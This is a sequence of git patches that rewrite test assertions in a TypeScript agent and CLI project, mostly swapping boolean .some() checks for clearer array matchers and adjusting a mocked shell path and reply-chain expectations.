aca43b29e1b20066346d66c1e536eeda991ea32e Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:48:47 +0100 Subject: [PATCH 159/174] test: clarify command diagnostic assertions --- src/commands/channel-account-context.test.ts | 4 ++-- src/commands/doctor-config-preflight.test.ts | 4 +--- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/src/commands/channel-account-context.test.ts b/src/commands/channel-account-context.test.ts index be08903c509..f806dd6ea40 100644 --- a/src/commands/channel-account-context.test.ts +++ b/src/commands/channel-account-context.test.ts @@ -76,8 +76,8 @@ describe("resolveDefaultChannelAccountContext", () => { expect(result.enabled).toBe(false); expect(result.configured).toBe(false); expect(result.degraded).toBe(true); - expect(result.diagnostics.some((entry) => entry.includes("failed to resolve account"))).toBe( - true, + expect(result.diagnostics).toEqual( + expect.arrayContaining([expect.stringContaining("failed to resolve account")]), ); }); diff --git a/src/commands/doctor-config-preflight.test.ts b/src/commands/doctor-config-preflight.test.ts index bc08bb5ee52..c5ab9c44fc6 100644 --- a/src/commands/doctor-config-preflight.test.ts +++ b/src/commands/doctor-config-preflight.test.ts @@ -21,9 +21,7 @@ describe("runDoctorConfigPreflight", () => { }); expect(preflight.snapshot.valid).toBe(false); - expect(preflight.snapshot.legacyIssues.some((issue) => issue.path === "memorySearch")).toBe( - true, - ); + expect(preflight.snapshot.legacyIssues.map((issue) => issue.path)).toContain("memorySearch"); expect((preflight.baseConfig as { memorySearch?: unknown }).memorySearch).toMatchObject({ provider: "local", fallback: "none", From 9e8a6355bf1b4286406401a60a724c9fddd2ac7a Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:50:14 +0100 Subject: [PATCH 160/174] test: clarify agents prune assertions --- src/commands/agents.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/commands/agents.test.ts b/src/commands/agents.test.ts index 9e3bcb5c5d7..c38dc938f50 100644 --- a/src/commands/agents.test.ts +++ b/src/commands/agents.test.ts @@ -305,8 +305,8 @@ describe("agents helpers", () => { }; const result = pruneAgentConfig(cfg, "work"); - expect(result.config.agents?.list?.some((agent) => agent.id === "work")).toBe(false); - expect(result.config.agents?.list?.some((agent) => agent.id === "home")).toBe(true); + expect(result.config.agents?.list?.map((agent) => agent.id)).not.toContain("work"); + expect(result.config.agents?.list?.map((agent) => agent.id)).toContain("home"); expect(result.config.bindings).toHaveLength(1); expect(result.config.bindings?.[0]?.agentId).toBe("home"); expect(result.config.tools?.agentToAgent?.allow).toEqual(["home"]); From 9dde80eae213936af022bd2a4403f189f8d45427 Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 09:51:20 +0100 Subject: [PATCH 161/174] test: clarify node exec fallback plan assertions --- src/agents/bash-tools.exec-host-node.test.ts | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/agents/bash-tools.exec-host-node.test.ts b/src/agents/bash-tools.exec-host-node.test.ts index b55fd997010..2d676736885 100644 --- a/src/agents/bash-tools.exec-host-node.test.ts +++ b/src/agents/bash-tools.exec-host-node.test.ts @@ -98,7 +98,7 @@ vi.mock("../infra/command-analysis/inline-eval.js", () => ({ })); vi.mock("../infra/node-shell.js", () => ({ - buildNodeShellCommand: vi.fn(() => ["bash", "-lc", "bun ./script.ts"]), + buildNodeShellCommand: vi.fn(() => ["/bin/sh", "-lc", "bun ./script.ts"]), })); vi.mock("../infra/system-run-approval-context.js", () => ({ @@ -332,9 +332,9 @@ describe("executeNodeHostCommand", () => { expect(result.details?.status).toBe("approval-pending"); expect(parsePreparedSystemRunPayloadMock).not.toHaveBeenCalled(); const expectedPlan = { - argv: ["bash", "-lc", "bun ./script.ts"], + argv: ["/bin/sh", "-lc", "bun ./script.ts"], cwd: "/tmp/work", - commandText: 'bash -lc "bun ./script.ts"', + commandText: '/bin/sh -lc "bun ./script.ts"', commandPreview: "bun ./script.ts", agentId: "requested-agent", sessionKey: "requested-session", @@ -383,7 +383,7 @@ describe("executeNodeHostCommand", () => { expect.objectContaining({ command: "system.run", params: expect.objectContaining({ - command: ["bash", "-lc", "bun ./script.ts"], + command: ["/bin/sh", "-lc", "bun ./script.ts"], rawCommand: "bun ./script.ts", suppressNotifyOnExit: true, timeoutMs: 30_000, From 88166ad840b4be341ff1cb39d63429956b213e17 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:52:01 +0100 Subject: [PATCH 162/174] test: clarify gateway install token warnings --- src/commands/gateway-install-token.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/commands/gateway-install-token.test.ts b/src/commands/gateway-install-token.test.ts index 2c9e17b551a..144e54818da 100644 --- a/src/commands/gateway-install-token.test.ts +++ b/src/commands/gateway-install-token.test.ts @@ -268,7 +268,7 @@ describe("resolveGatewayInstallToken", () => { expect(result.token).toBeUndefined(); expect(result.unavailableReason).toBeUndefined(); - expect(result.warnings.some((message) => message.includes("Auto-generated"))).toBe(false); + expect(result.warnings.filter((message) => message.includes("Auto-generated"))).toEqual([]); expect(replaceConfigFileMock).not.toHaveBeenCalled(); }); @@ -300,7 +300,7 @@ describe("resolveGatewayInstallToken", () => { }); expect(result.token).toBeUndefined(); expect(result.unavailableReason).toBeUndefined(); - expect(result.warnings.some((message) => message.includes("Auto-generated"))).toBe(false); + expect(result.warnings.filter((message) => message.includes("Auto-generated"))).toEqual([]); expect(replaceConfigFileMock).not.toHaveBeenCalled(); }); From 29a393d54023e869544c910b4d30ea891e6a62ff Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:53:04 +0100 Subject: [PATCH 163/174] test: clarify doctor workspace note assertion --- src/commands/doctor-workspace-status.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/commands/doctor-workspace-status.test.ts b/src/commands/doctor-workspace-status.test.ts index 02b02b94263..93407462dcb 100644 --- a/src/commands/doctor-workspace-status.test.ts +++ b/src/commands/doctor-workspace-status.test.ts @@ -163,7 +163,7 @@ describe("noteWorkspaceStatus", () => { }), ); try { - expect(noteSpy.mock.calls.some(([, title]) => title === "Plugin compatibility")).toBe(false); + expect(noteSpy.mock.calls.map(([, title]) => title)).not.toContain("Plugin compatibility"); } finally { noteSpy.mockRestore(); } From 7adadbdda655e818b28706a527af1bb8193c702d Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:54:18 +0100 Subject: [PATCH 164/174] test: clarify onboard search notes --- src/commands/onboard-search.providers.test.ts | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/src/commands/onboard-search.providers.test.ts b/src/commands/onboard-search.providers.test.ts index 295001e6ea5..6a556857437 100644 --- a/src/commands/onboard-search.providers.test.ts +++ b/src/commands/onboard-search.providers.test.ts @@ -190,7 +190,9 @@ describe("onboard-search provider resolution", () => { provider: "default", id: "CUSTOM_SEARCH_API_KEY", }); - expect(notes.some((note) => note.message.includes("CUSTOM_SEARCH_API_KEY"))).toBe(true); + expect(notes.map((note) => note.message)).toEqual( + expect.arrayContaining([expect.stringContaining("CUSTOM_SEARCH_API_KEY")]), + ); }); it("does not treat hard-disabled bundled providers as selectable credentials", () => { @@ -249,7 +251,9 @@ describe("onboard-search provider resolution", () => { expect(result.tools?.web?.search?.provider).toBe("duckduckgo"); expect(result.plugins?.entries?.duckduckgo?.enabled).toBe(true); - expect(notes.some((message) => message.includes("works without an API key"))).toBe(true); + expect(notes).toEqual( + expect.arrayContaining([expect.stringContaining("works without an API key")]), + ); }); it("uses the runtime onboarding search surface when no config is present", () => { From 43d095b6ff0159b933d940d4a311365c76eee119 Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 09:55:03 +0100 Subject: [PATCH 165/174] test: restore request animation frame cleanup --- ui/src/ui/app-render.helpers.node.test.ts | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/ui/src/ui/app-render.helpers.node.test.ts b/ui/src/ui/app-render.helpers.node.test.ts index 261f01fdd3f..8a04237c500 100644 --- a/ui/src/ui/app-render.helpers.node.test.ts +++ b/ui/src/ui/app-render.helpers.node.test.ts @@ -654,6 +654,7 @@ describe("handleChatManualRefresh", () => { const previousRequestAnimationFrame = globalThis.requestAnimationFrame; Object.defineProperty(globalThis, "requestAnimationFrame", { configurable: true, + writable: true, value: vi.fn((callback: FrameRequestCallback) => { animationFrame.callback = callback; return 1; @@ -698,10 +699,15 @@ describe("handleChatManualRefresh", () => { expect(state.chatManualRefreshInFlight).toBe(false); expect(state.chatNewMessagesBelow).toBe(false); } finally { - Object.defineProperty(globalThis, "requestAnimationFrame", { - configurable: true, - value: previousRequestAnimationFrame, - }); + if (previousRequestAnimationFrame === undefined) { + Reflect.deleteProperty(globalThis, "requestAnimationFrame"); + } else { + Object.defineProperty(globalThis, "requestAnimationFrame", { + configurable: true, + writable: true, + value: previousRequestAnimationFrame, + }); + } } }); }); From 47caafc46404884ee0eaf9b5ab5d8c0df03a05f7 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:55:13 +0100 Subject: [PATCH 166/174] test: clarify migration selection statuses --- src/commands/migrate/selection.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/commands/migrate/selection.test.ts b/src/commands/migrate/selection.test.ts index b8d61d63bd6..38d59123e6c 100644 --- a/src/commands/migrate/selection.test.ts +++ b/src/commands/migrate/selection.test.ts @@ -192,7 +192,7 @@ describe("applyMigrationSkillSelection", () => { ); expect(selected.summary).toMatchObject({ planned: 0, skipped: 2 }); - expect(selected.items.every((item) => item.status === "skipped")).toBe(true); + expect(selected.items.map((item) => item.status)).toEqual(["skipped", "skipped"]); }); it("defaults interactive selection to planned skills only", () => { From 8a17aeb7cc26a9417804263b731cdb20cba4720c Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:56:24 +0100 Subject: [PATCH 167/174] test: clarify model status provider assertions --- src/commands/models/list.status.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/commands/models/list.status.test.ts b/src/commands/models/list.status.test.ts index d17f37a2224..371ae1f0cbe 100644 --- a/src/commands/models/list.status.test.ts +++ b/src/commands/models/list.status.test.ts @@ -586,7 +586,7 @@ describe("modelsStatusCommand auth overview", () => { const aliasPayload = JSON.parse(String((aliasRuntime.log as Mock).mock.calls[0]?.[0])); const providers = aliasPayload.auth.providers as Array<{ provider: string }>; expect(providers.filter((provider) => provider.provider === "zai")).toHaveLength(1); - expect(providers.some((provider) => provider.provider === "z.ai")).toBe(false); + expect(providers.map((provider) => provider.provider)).not.toContain("z.ai"); } finally { if (originalLoadConfig) { mocks.loadConfig.mockImplementation(originalLoadConfig); @@ -657,7 +657,7 @@ describe("modelsStatusCommand auth overview", () => { }), ]), ); - expect(providers.some((entry) => entry.provider === "unused-synthetic")).toBe(false); + expect(providers.map((entry) => entry.provider)).not.toContain("unused-synthetic"); } finally { if (originalLoadConfig) { mocks.loadConfig.mockImplementation(originalLoadConfig); From 8fa6f9a28bef1e931f1ddb33f7251318ec0efd67 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:57:35 +0100 Subject: [PATCH 168/174] test: clarify message target scope assertion --- src/commands/message.test.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/commands/message.test.ts b/src/commands/message.test.ts index 4a3e5521185..63b2a0ca102 100644 --- a/src/commands/message.test.ts +++ b/src/commands/message.test.ts @@ -215,9 +215,9 @@ describe("messageCommand", () => { targetIds?: Set; }; expect(call.targetIds).toBeInstanceOf(Set); - expect([...(call.targetIds ?? [])].every((id) => id.startsWith("channels.telegram."))).toBe( - true, - ); + expect( + [...(call.targetIds ?? [])].filter((id) => !id.startsWith("channels.telegram.")), + ).toEqual([]); }); it("keeps local-fallback resolved cfg and logs diagnostics", async () => { From d42ae2536e277093746568d3a17d243d40748bfb Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:59:22 +0100 Subject: [PATCH 169/174] test: clarify channels status error assertion --- src/commands/channels.status.command-flow.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/commands/channels.status.command-flow.test.ts b/src/commands/channels.status.command-flow.test.ts index ddba5622b56..e5c0512c47d 100644 --- a/src/commands/channels.status.command-flow.test.ts +++ b/src/commands/channels.status.command-flow.test.ts @@ -224,7 +224,9 @@ describe("channelsStatusCommand SecretRef fallback flow", () => { await channelsStatusCommand({ probe: false }, runtime as never); - expect(errors.some((line) => line.includes("Gateway not reachable"))).toBe(true); + expect(errors).toEqual( + expect.arrayContaining([expect.stringContaining("Gateway not reachable")]), + ); expect(mocks.resolveCommandConfigWithSecrets).toHaveBeenCalledWith( expect.objectContaining({ commandName: "channels status", From 2c498e66fe0e02f503bfd712134fcac93d59f4c5 Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 10:00:38 +0100 Subject: [PATCH 170/174] test: clarify telegram reply chain assertions --- extensions/telegram/src/bot.create-telegram-bot.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/extensions/telegram/src/bot.create-telegram-bot.test.ts b/extensions/telegram/src/bot.create-telegram-bot.test.ts index e482a82e0e4..f0bc091c6aa 100644 --- a/extensions/telegram/src/bot.create-telegram-bot.test.ts +++ b/extensions/telegram/src/bot.create-telegram-bot.test.ts @@ -2424,8 +2424,10 @@ describe("createTelegramBot", () => { expect(replySpy).toHaveBeenCalledTimes(1); const payload = replySpy.mock.calls[0][0]; - expect(payload.Body).toContain("[Replying to Ada id:9001]"); + expect(payload.Body).toContain("[Reply chain - nearest first]"); + expect(payload.Body).toContain("[1. Ada id:9001]"); expect(payload.Body).toContain("Can you summarize this?"); + expect(payload.Body).toContain("[/Reply chain]"); expect(payload.ReplyToId).toBe("9001"); expect(payload.ReplyToBody).toBe("Can you summarize this?"); expect(payload.ReplyToSender).toBe("Ada"); From 3bae07cb75ab27c2189cf86aa47cdd8179409732 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 10:00:39 +0100 Subject: [PATCH 171/174] test: clarify bootstrap diagnostic assertion --- src/agents/workspace.load-extra-bootstrap-files.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/agents/workspace.load-extra-bootstrap-files.test.ts b/src/agents/workspace.load-extra-bootstrap-files.test.ts index a10d0c727b4..c8b202a8cc4 100644 --- a/src/agents/workspace.load-extra-bootstrap-files.test.ts +++ b/src/agents/workspace.load-extra-bootstrap-files.test.ts @@ -106,6 +106,6 @@ describe("loadExtraBootstrapFiles", () => { ]); expect(files).toHaveLength(0); - expect(diagnostics.some((d) => d.reason === "security")).toBe(true); + expect(diagnostics.map((diagnostic) => diagnostic.reason)).toContain("security"); }); }); From 033c02bbf65b25f8a55ce2e73d910567b25a106d Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 10:02:01 +0100 Subject: [PATCH 172/174] test: clarify context pruning image assertion --- src/agents/pi-hooks/context-pruning.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/agents/pi-hooks/context-pruning.test.ts b/src/agents/pi-hooks/context-pruning.test.ts index cf65cdc0d35..a2da89bb330 100644 --- a/src/agents/pi-hooks/context-pruning.test.ts +++ b/src/agents/pi-hooks/context-pruning.test.ts @@ -405,7 +405,7 @@ describe("context-pruning", () => { }); const tool = findToolResult(next, "t1"); - expect(tool.content.some((b) => b.type === "image")).toBe(false); + expect(tool.content.filter((block) => block.type === "image")).toEqual([]); expect(toolText(tool)).toContain("[image removed during context pruning]"); expect(toolText(tool)).toContain("visible tool text"); }); From 20316cc0795d0e2d8a6e5ddc13c57b51a3e2e087 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 10:03:28 +0100 Subject: [PATCH 173/174] test: clarify capability cli list assertion --- src/cli/capability-cli.test.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/cli/capability-cli.test.ts b/src/cli/capability-cli.test.ts index 09b03460992..0bc8c1f4bce 100644 --- a/src/cli/capability-cli.test.ts +++ b/src/cli/capability-cli.test.ts @@ -381,8 +381,9 @@ describe("capability cli", () => { }); const payload = mocks.runtime.writeJson.mock.calls[0]?.[0] as Array<{ id: string }>; - expect(payload.some((entry) => entry.id === "model.run")).toBe(true); - expect(payload.some((entry) => entry.id === "image.describe")).toBe(true); + expect(payload.map((entry) => entry.id)).toEqual( + expect.arrayContaining(["model.run", "image.describe"]), + ); }); it("defaults model run to local transport", async () => { From b417a100f9a4c18f34ce1ef2fbe1ce7142bf21b4 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 10:05:25 +0100 Subject: [PATCH 174/174] test: clarify daemon cli json actions --- src/cli/daemon-cli.coverage.test.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/cli/daemon-cli.coverage.test.ts b/src/cli/daemon-cli.coverage.test.ts index 968113ace74..9c2bf093c88 100644 --- a/src/cli/daemon-cli.coverage.test.ts +++ b/src/cli/daemon-cli.coverage.test.ts @@ -325,7 +325,8 @@ describe("daemon-cli coverage", () => { expect(serviceStop).toHaveBeenCalledTimes(1); const jsonLines = runtimeLogs.filter((line) => line.trim().startsWith("{")); const parsed = jsonLines.map((line) => JSON.parse(line) as { action?: string; ok?: boolean }); - expect(parsed.some((entry) => entry.action === "start" && entry.ok === true)).toBe(true); - expect(parsed.some((entry) => entry.action === "stop" && entry.ok === true)).toBe(true); + expect(parsed.filter((entry) => entry.ok).map((entry) => entry.action)).toEqual( + expect.arrayContaining(["start", "stop"]), + ); }); });